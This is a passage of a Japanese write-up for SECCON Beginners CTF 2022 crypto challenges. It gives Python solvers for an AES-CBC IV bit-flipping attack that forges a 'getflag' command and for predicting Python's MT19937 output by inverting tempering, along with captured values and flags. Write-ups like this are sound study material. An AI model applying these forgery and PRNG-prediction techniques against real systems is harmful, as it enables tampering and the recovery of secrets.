        elif cmd == b'getflag':
            getflag()
    except ValueError:
        pass


def fizzbuzz():
    for i in range(1, 101):
        if i % 15 == 0:
            print('FizzBuzz')
        elif i % 3 == 0:
            print('Fizz')
        elif i % 5 == 0:
            print('Buzz')
        else:
            print(i)


def primes():
    for i in range(1, 101):
        if isPrime(i):
            print(i)


def getflag():
    print(FLAG)


if __name__ == '__main__':
    main()

このプログラムはfizzbuzz, primes, getflagの3つのコマンドを使うことができる、まず「1. Encrypt command」でどれか1つのコマンドをAES CBCで暗号化した出力を得られる。ただしgetflagは出力できない。

次に「2. Execute encrypted command」に暗号化された出力を入力すると復号化されてコマンドが実行される。getflagコマンドを実行できればflagを獲得できる。

PythonのAESは128bitで1つのブロックが16文字ある。したがってどのコマンドも1ブロックに収まっており、CBCビットフリップにより初期ベクトルIVを改ざんして任意の平文を作ることができる。

詳しくはLINE CTFのCRY - babycrypto2に書いてある。

入っているデータは実際に解いたときのもので、利用する場合は逐次値を入れる必要があるが以下にsolverを示す。

from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad, unpad

ciphertext = long_to_bytes(0x4cce118b85ea7d57993d786ce441350adc16a5f7f3faf7e333647c672bcf4353)
iv = ciphertext[0:16]
plaintexthead1 = pad(b'fizzbuzz',16)
plaintexthead2 = pad(b'getflag',16)

new_iv = b''
for i in range(16):
        new_iv += (iv[i]^plaintexthead1[i]^plaintexthead2[i]).to_bytes(1, byteorder="little")

new_ciphertext = new_iv + ciphertext[16:]
print(hex(bytes_to_long(new_ciphertext))[2:])
flag取得時

fizzbuzzコマンドで暗号化して、暗号文をsolverに入れてコマンドがgetflagになるようなIVを計算してgetflagコマンドを実行できる。

ctf4b{b1tfl1pfl4ppers}

Unpredictable Pad (Crypto)

CSPRNGじゃなければ予想できるって聞きました。

競技時間中には解けなかったが、solverが書けたので掲載する。実は以前からこのsolverを用意して使う機会を伺っていたが、今回はうまく使えなかった。

さて、サーバーでプログラムが動いており、入力によって適当な長さのgetrandbits出力を得ることができ、さらにgetrandbitsでXOR暗号のかかったflagが出力される。

Pythonは擬似乱数生成器にMT19937を利用しており、その出力を予測する問題である。

import random
import os


FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}')


def main():
    r = random.Random()

    for i in range(3):
        try:
            inp = int(input('Input to oracle: '))
            if inp > 2**64:
                print('input is too big')
                return

            oracle = r.getrandbits(inp.bit_length()) ^ inp
            print(f'The oracle is: {oracle}')
        except ValueError:
            continue

    intflag = int(FLAG.encode().hex(), 16)
    encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length())
    print(f'Encrypted flag: {encrypted_flag}')


if __name__ == '__main__':
    main()

入力する数字と同じビット数のgetrandbits出力を3回得ることができる。競技中は64bit×3までしか入手できないと考えていたためにseed値の逆算に失敗したが、プログラムの条件をよく見ると負の数を入力すれば制限なく巨大な数を入力して大きなビット数を得ることができる。

メルセンヌ・ツイスタでは内部に32bit×624個の配列を持っており、この配列の数値にTemperingを行った結果をPythonではgetrandbits出力として得ている。原理的には32bit×624個の連続データを入手できれば、以後の疑似乱数の出力を予測可能になる。

というわけで、負の数を使って32×208bitずつgetrandbitsを出力させ、合計32bit×624入手した。Temperingの逆関数を使ってMT19937の内部配列を再現して後続の出力を得るスクリプトを書いた。

逆関数はコメントのサイトからいただいた。

#! /usr/bin/env python
from Crypto.Util.number import bytes_to_long, long_to_bytes

def Tempering(x):
        x ^= ( x >> 11 )
        x ^= ( x <<  7 ) & 0x9d2c5680
        x ^= ( x << 15 ) & 0xefc60000
        x ^= ( x >> 18 )
        return x

# https://plusletool.hatenablog.jp/entry/2014/10/24/213816
def Tempering_Inv(x):
        x ^=    ( x >> 18 )
        x ^=    ( x << 15 ) & 0xefc60000
        x ^=  ( ( x <<  7 ) & 0x9d2c5680 ) ^ ( ( x << 14 ) & 0x94284000 ) ^ ( ( x << 21 ) & 0x14200000 ) ^ ( ( x << 28 ) & 0x10000000 )
        x ^=    ( x >> 11 ) ^ ( x >> 22 )
        return x

inp = -(pow(2,32*208)-1)


ora1 = -415788549408207875782778306861965779192626647113171307245918212285816344672071736217320181595968117574876907893718854798582281124520807791700539029913733492450035291373134251227766532215159534582040811631273729338711780137211326457027426171450780809039135364450086422784324549472900640044413205276755060881851009028323302987927022345407287071281902135531347935793685975407679479511766662713965999779306662155717699292103250381663922481699990453429262412669970566264692537885171286439277251206820671675785685554205590527203271273639926077721764869204640292490295992162111371860499203469571878601700624567470228357194785097991311538637058963702294480040740974984954448088978814257313223075255434315657554047781407253432486490023807881503037719775124551157363642544834081052395147688681081588869493234570331908807198423878558127365063382566913459843021556117281671325133047420279642548876850966744341836408781867443284209497271839561794310784819832610141407778723925344677760499113489183299130839248427043512659824025567401064134015069619940654066672101606643432911708433426552353495010112203030435351379491637067318437649314124213202403941748867125638568569554873931142558979604570654162782581631193193807561774125347118402367781844603874351132578723009484309419729661224701653653273141379335211880575763533265644106208056234619512487739350983573156318965969455803506390114649770253273449305813323245228194240682226756327977123627075618166645666729665749596966715943375761569382501384519656170836470595345209488811061363442631475629471650884602257789826034119792532799744648147802920595398071122305301168123758175231778512009441574463156586800201863520501023229095255295745221915883082920833265381958197215077463918834048373873200932915931511715720446383156003522716670801517698974745221385783228255695072647714981612012109242518558515243265148686242726450593150072643640039356828886238599570366840192155207849485623360534193323816934647332381637263828605954824368577638418302010409974330024290839578586696

ora2 = -301548601793190688258862420569033581017778243895779689446399485804563920788758369563124233824905260951726453207317910729858812912185872838545497043556779236392341816467045065776939539269476010359770616599882261255043033561505673680996694244294321195756241777324918326395486508273516349218855047894672468463698421054390551130247904947104069015397842164934856323717994176639011437611639439671127900795694950930798904429667510139441901095927000776965971832959554603882025203766459367392484561968585503825160067841626012807150849544516440778219636811163016286713280446635584884842088019123708637285551011890368546190060781505137045280259255719361777747071293891936390937252442088757627716198934488675008499012116264371747822988984920346495170546046527672433820176427901589944482692618962231740139966577795412379564331981931457951134722618976442425142393073129035074859238121317707262259774370706493826036518914260859647920303073554276397089846266094644001457302708217923328695973757862043119311266891289184625349343364989340601225064182823345618182267782817255046350171395353870829864714445515278548741207275017288034507297900210728603388147779412254838989682493903986325910980450560996505144199852471493395880825351005423152243652817478471781582579496816057881636619786173118577811434443397372888064640260059747832276722711950094858977107613163218971535824350330241494388294585729293894003303651868388788909093158138011758584966646414595193327252625474417004014645592352581717937199419001196628350186993583336191205956980778532718554467069378431186034755533417918743416245311902963401020844225383089360177217114805559221475355875727215102224327955765389579282036526483925859596425116687404457154920806011602824294081854836786925970435799361824882838729002268665970222965863851924522947794924341361363470789685160170984407430879405219631601238040536260161739176791829443756080027336092343904847744746913173825830910205467516889969200447727203765476928873111151580880361575602347985530430305014544003415243428

ora3 = -72536503845512304461746692319282524046754570307017915694621258777013753131142463711438411363774212383763932655579532017548183685171739983909940866560780536201120618399160996022503901141840347813572537706202181757602863830026969934503677753291821290605429809952169966663750152180647949008192952595018628528376341026704202011867626826057552987335156857941914475354421272694336022606776608731959462989570517647155695035923181190710880885549170996625483062056533424496899671797070377385412874047694429451707111709280363551836296973347753204822100383880395123673425135788980655696979866248573206115127959564000114422318659107203367700322277312311950813585549574535673478525478812767500050385059284694087701246580364432600991372415095351823341586358218769038293654987871837669063394600989585641688218757800003841106745550672899655661913811745396100135620078645320859203646023742219614872194159473163618444640890327469136165888089066194099701019594178836379775045425203264862112948110639011256100840720584233627664434254001832057829578482755347871272618174964859132775295094799546613536992367771389706650907928056803049839769207235102040600399868334861359402853144718406300888796448313679149443644566679591662225876286867528351642769742126509260136324009025145234818625427809936704965502040181237958904029881735170062772214522555425755680882585095680846789560738301060550325937404002869424250379689018417363210575451843025062378661589754880357559900126526277068468040378589776293929755494285156291839703646107206481971467278920436184572172420623861636977265902262378879281382383198698663189168796383679551544426726268958696567065750122978471111334311262323912636947750524201181052886430849893832752931635424206734656814014708067058472627213845951041224347125034277485946801675779632173411162359462963199249299076553846787252517416237300512775281678361707869636296469977381932481066263711979805532275983074272441252891591102093593290126546632040061218426140450719153004095737282248945546061351194498096790281814

enc = 882448584542386861852001031614774863414233019015535982537060629777423387

hexstr = ""
hexstr += hex(inp ^ ora3)[2:]
hexstr += hex(inp ^ ora2)[2:]
hexstr += hex(inp ^ ora1)[2:]

mt = []
for i in range(623,-1,-1):
        mt += [Tempering_Inv(int(hexstr[8*i:8*i+8],16))]


mt_next = []
for i in range(100):
        # mt(i).next require mt(i).mt(i+1),mt(i+397)
        prevseed1 = mt[i]
        prevseed2 = mt[i+1]
        prevseed397 = mt[i+397]
        val = (prevseed1 & 0x80000000) | (prevseed2 & 0x7fffffff)
        nextseed = prevseed397 ^ (val>>1)
        if val & 1:
                nextseed ^= 0x9908b0df
        
        mt_next += [nextseed]

rand = 0
divs = enc.bit_length()//32
mods = enc.bit_length()%32
for i in range(divs):
        rand += Tempering(mt_next[i])<< 32*i
rand += (Tempering(mt_next[divs]) >> (32-mods)) << 32*divs

print(long_to_bytes(enc^rand))

最初の3回のgetrandbitsでMT19937の内部配列はちょうど一周しているので、flagのXOR演算に使われる次のgetrandbits出力は再現した配列の次の状態を最初の方だけ計算すればよい。

ctf4b{M4y_MT19937_b3_w17h_y0u}

Welcome (Welcome)

Welcome to SECCON Beginners CTF 2022!

フラグはDiscordサーバのannouncementsチャンネルにて公開されています。

フル稼働でも今の実力では難しい問題まで攻めるには時間が足りず、そのあたりができるのはチーム戦かもしれない。しかし普段であれば手を付けない問題を含めて解くことができたので非常に面白かった。いつもはCrypto/Web系ばかり解くのだが、道筋に詰まらないという点では今回Reversingが解きやすく感じた。

discord

ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}